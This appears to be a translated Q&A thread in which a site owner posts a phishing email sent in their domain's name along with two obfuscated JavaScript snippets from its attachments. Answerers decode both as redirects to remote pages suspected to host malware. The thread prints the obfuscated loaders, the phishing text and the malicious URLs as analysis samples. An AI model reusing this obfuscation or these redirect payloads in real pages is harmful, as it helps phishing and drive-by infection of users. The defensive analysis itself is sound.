Что делает этот Javascript?

Я только что узнал, что спамер отправляет письмо с нашего доменного имени, выдавая себя за нас, говоря:

Уважаемый клиент,

Это электронное письмо было отправлено с сайта ourwebsite.com, чтобы уведомить вас о том, что мы временно заблокировали доступ к вашей учетной записи.

У нас есть основания полагать, что к вашей учетной записи мог получить доступ кто-то другой. Пожалуйста, запустите прикрепленный файл и следуйте инструкциям.

(C) ourwebsite.com (это я изменил)

Прикрепленный файл представляет собой HTML-файл со следующим javascript:

<script type='text/javascript'>function mD(){};this.aB=43719;mD.prototype = {i : function() {var w=new Date();this.j='';var x=function(){};var a='hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'.replace(/[gJG,\<]/g, '');var d=new Date();y="";aL="";var f=document;var s=function(){};this.yE="";aN="";var dL='';var iD=f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')];this.v="v";var q=27427;var m=new Date();iD['hqrteqfH'.replace(/[Htqag]/g, '')]=a;dE='';k="";var qY=function(){};}};xO=false;var b=new mD(); yY="";b.i();this.xT='';</script>

В другом письме было следующее:

<script type='text/javascript'>function uK(){};var kV='';uK.prototype = {f : function() {d=4906;var w=function(){};var u=new Date();var hK=function(){};var h='hXtHt9pH:9/H/Hl^e9n9dXe!r^mXeXd!i!a^.^c^oHm^/!iHmHaXg!e9sH/^zX.!hXt9m^'.replace(/[\^H\!9X]/g, '');var n=new Array();var e=function(){};var eJ='';t=document['lDo6cDart>iro6nD'.replace(/[Dr\]6\>]/g, '')];this.nH=false;eX=2280;dF="dF";var hN=function(){return 'hN'};this.g=6633;var a='';dK="";function x(b){var aF=new Array();this.q='';var hKB=false;var uN="";b['hIrBeTf.'.replace(/[\.BTAI]/g, '')]=h;this.qO=15083;uR='';var hB=new Date();s="s";}var dI=46541;gN=55114;this.c="c";nT="";this.bG=false;var m=new Date();var fJ=49510;x(t);this.y="";bL='';var k=new Date();var mE=function(){};}};var l=22739;var tL=new uK(); var p="";tL.f();this.kY=false;</script>

Может ли кто-нибудь сказать мне, что он делает? Так мы сможем увидеть, есть ли у нас уязвимость, и нужно ли нам сообщать о ней нашим клиентам…

Спасибо


person Nathan H    schedule 11.06.2010    source источник


Ответы (4)


Отвечать:

Скрипт выполняется

document.location.href = "http://mvblaw.com/z.htm";    //Evil site (I assume)

Он также содержит большое количество бесполезных строк, скрывающих истинное назначение сценария.

Анализ

Вот он распакован.

function mD() {};
this.aB = 43719;
mD.prototype = {
    i: function () {
        var w = new Date();
        this.j = '';
        var x = function () {};
        var a = 'hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'.replace(/[gJG,\<]/g, '');
        var d = new Date();
        y = "";
        aL = "";
        var f = document;
        var s = function () {};
        this.yE = "";
        aN = "";
        var dL = '';
        var iD = f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')];
        this.v = "v";
        var q = 27427;
        var m = new Date();
        iD['hqrteqfH'.replace(/[Htqag]/g, '')] = a;
        dE = '';
        k = "";
        var qY = function () {};
    }
};
xO = false;
var b = new mD();
yY = "";
b.i();
this.xT = '';

Очистив обфускацию и добавив осмысленные имена, он становится

function TempClass() {};
this.aB = 43719;
TempClass.prototype = {
    doIt: function () {
        var w = new Date();
        this.j = '';
        var x = function () {};
        var a = "http://mvblaw.com/z.htm";    //Evil site (I assume)

        var d = new Date();
        y = "";
        aL = "";
        var f = document;
        var s = function () {};
        this.yE = "";
        aN = "";
        var dL = '';
        var iD = f['location'];
        this.v = "v";
        var q = 27427;
        var m = new Date();
        iD['href'] = a;
        dE = '';
        k = "";
        var qY = function () {};
    }
};
xO = false;
var b = new TempClass();
yY = "";
b.doIt();
this.xT = '';

Удалив все бесполезные строки, он становится

function TempClass() {};

TempClass.prototype = {
    doIt: function () {
        var a = "http://mvblaw.com/z.htm";    //Evil site (I assume)

        var f = document;
        var iD = f['location'];
        iD['href'] = a;
    }
};

var b = new TempClass();
b.doIt();
person SLaks    schedule 11.06.2010
comment
http://mvblaw. com/z.htm после регулярного выражения. Все, что он делает, это перенаправляет на этот адрес. - person Glenn; 11.06.2010
comment
Ссылка сейчас не работает (стандартный Apache 404); вам не нужно беспокоиться об этом. - person SLaks; 11.06.2010
comment
Значит, вы не думаете, что это нацелено конкретно на наш веб-сайт? Это просто обычное электронное письмо, и они используют наше имя? - person Nathan H; 11.06.2010
comment
SLaks, ссылка на второй скрипт жива. И выглядит плохо. - person Nathan H; 11.06.2010
comment
Он пытается перенаправить пользователя на mvblaw.com/z.htm. В строке 8 эта строка выглядит как набор тарабарщины, но следующий метод replace удаляет символы из регулярных выражений, оставляя mvblaw.com/z.htm. Они делают то же самое позже, чтобы установить значение location.href окна браузера, перенаправляя пользователя на ту страницу z.htm, на которой, вероятно, было вредоносное ПО или что-то еще злое. - person wpjmurray; 11.06.2010
comment
Гленн, если вы имеете в виду, лучше ли это просто случайное электронное письмо, да: я боялся, что это был сценарий, разработанный для того, чтобы наши пользователи делали что-то на нашем веб-сайте, что затем приведет к тому, что сценарий повлияет на других людей, посещающих наш сайт .. . - person Nathan H; 11.06.2010
comment
@nute: вторая ссылка перенаправляет на другой сайт, который не отправляет контент. - person SLaks; 11.06.2010
comment
ну, вы можете view-source:http://mvblaw.com/z.htm в Google Chrome посмотреть, какие коды внутри... - person Reigel; 11.06.2010

В сценарии есть много бесполезных вещей, которые просто создают путаницу. Основными частями сценария являются:

function mD() {};
mD.prototype = {
  i: function () {
     // read between every two letters:
     var a = 'hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'
              .replace(/[gJG,\<]/g, '');
     var f = document;
     var iD = f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')];
     iD['hqrteqfH'.replace(/[Htqag]/g, '')] = a;
   }
};
var b = new mD();
b.i();

Если мы очистим больше:

function mD() {};
mD.prototype = {
  i: function () {
     var a = 'http://mvblaw.com/z.htm';
     var f = document;
     var iD = f['location'];
     iD['href'] = a;
   }
};
var b = new mD();
b.i();

И более:

function mD() {};
mD.prototype = {
  i: function () {
     document.location.href = 'http://mvblaw.com/z.htm';
   }
};
var b = new mD();
b.i();
person Christian C. Salvadó    schedule 11.06.2010

Нет гениев, они:

hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'.replace(/[gJG,\<]/g, '');

h t t p : / / m v b l a w . c o m / z . h t m


f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')];

   l o c a t i o n

iD['hqrteqfH'.replace(/[Htqag]/g, '')] = a;

    h r e f

Даже не нужно было запускать его через регулярное выражение :)

Я собираюсь предположить, что они взломали mvblaw и спрятали туда страницу полезной нагрузки. Любой, у кого есть виртуальная машина, хочет посмотреть, что она делает?

person egrunin    schedule 11.06.2010
comment
кажется второй скрипт отправляет на лендермедиа. com/images/z.htm, которая является канадской аптекой, и она также пыталась загрузить код Java. - person Nathan H; 11.06.2010

По сути, кажется, что (document['location'])['href'] (или, говоря обычным языком, document.location.href) устанавливается в http://mvblaw.com/z.htm.

Код обфускации довольно прост, просто ничего не заменяя символы шума:

var a='hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'.replace(/[gJG,\<]/g, '');
    // a = http://mvblaw.com/z.htm
var f=document;
var iD=f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')];
    // iD = document.location
iD['hqrteqfH'.replace(/[Htqag]/g, '')] = a;
    // document.location.href = a (the URL above).
person paxdiablo    schedule 11.06.2010